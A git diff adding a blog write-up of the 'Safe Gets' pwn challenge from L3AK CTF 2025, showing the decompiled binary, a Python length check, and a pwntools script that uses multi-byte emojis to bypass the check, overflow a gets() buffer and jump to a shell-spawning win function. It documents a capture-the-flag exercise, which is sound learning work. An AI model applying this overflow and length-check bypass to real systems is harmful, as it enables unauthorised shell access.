Adds l3ak ctf 2025
This commit is contained in:
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
103
content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md
Normal file
@@ -0,0 +1,103 @@
|
||||
+++
|
||||
date = '2025-07-14T09:16:19+02:00'
|
||||
draft = false
|
||||
title = 'Safe Gets'
|
||||
tags = [ "pwn" ]
|
||||
+++
|
||||
|
||||
description: I think I found a way to make gets safe.
|
||||
Author: White
|
||||
|
||||
We are given a program and a python wrapper around it.
|
||||
|
||||
## Main program
|
||||
|
||||
Let's start with the program after a quick pass through ghidra
|
||||
```C
|
||||
int main(void)
|
||||
{
|
||||
size_t input_len;
|
||||
char buffer [259];
|
||||
char local_15;
|
||||
int input_len_2;
|
||||
ulong i;
|
||||
|
||||
gets(buffer);
|
||||
input_len = strlen(buffer);
|
||||
input_len_2 = (int)input_len;
|
||||
for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) {
|
||||
local_15 = buffer[(long)(input_len_2 + -1) - i];
|
||||
buffer[(long)(input_len_2 + -1) - i] = buffer[i];
|
||||
buffer[i] = local_15;
|
||||
}
|
||||
puts("Reversed string:");
|
||||
puts(buffer);
|
||||
return 0;
|
||||
}
|
||||
|
||||
void win(void)
|
||||
{
|
||||
system("/bin/sh");
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
It's a simple compiled C program that reverses a string, the interesting thing is the call to `gets` that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful `win` function.
|
||||
No binary protections are stopping us from doing this except the python wrapper the program is launched from.
|
||||
```
|
||||
[*] 'l3ak_ctf/pwn/safe_gets/chall'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
SHSTK: Enabled
|
||||
IBT: Enabled
|
||||
Stripped: No
|
||||
```
|
||||
|
||||
## Python wrapper
|
||||
|
||||
Most of it doesn't matter for us except this small part that limits the length of the input we provide to 255.
|
||||
```python
|
||||
BINARY = "./chall"
|
||||
MAX_LEN = 0xff
|
||||
|
||||
# Get input from user
|
||||
payload = input(f"Enter your input (max {MAX_LEN} bytes): ")
|
||||
if len(payload) > MAX_LEN:
|
||||
print("[-] Input too long!")
|
||||
sys.exit(1)
|
||||
```
|
||||
|
||||
Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow.
|
||||
|
||||
## Solve
|
||||
|
||||
So what does the `len` function count ? It counts unicode codepoints which can be multiple bytes long.
|
||||
So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag.
|
||||
|
||||
Here is my solve script (the interesting part).
|
||||
```python
|
||||
io = start()
|
||||
payload = flat(
|
||||
b"A"*74,
|
||||
b"\x00",
|
||||
"😄".encode("utf-8")*50,
|
||||
b"A"*5,
|
||||
pack((elf.symbols.win)+5)
|
||||
)
|
||||
io.sendlineafter(b"Enter your input (max 255 bytes): ", payload)
|
||||
io.interactive()
|
||||
```
|
||||
And when running it we get the flag.
|
||||
```
|
||||
>>> ./exploit.py REMOTE 34.45.81.67 16002
|
||||
[+] Opening connection to 34.45.81.67 on port 16002: Done
|
||||
[*] Switching to interactive mode
|
||||
$ cat flag.txt
|
||||
L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3}
|
||||
[*] Interrupted
|
||||
[*] Closed connection to 34.45.81.67 port 16002
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user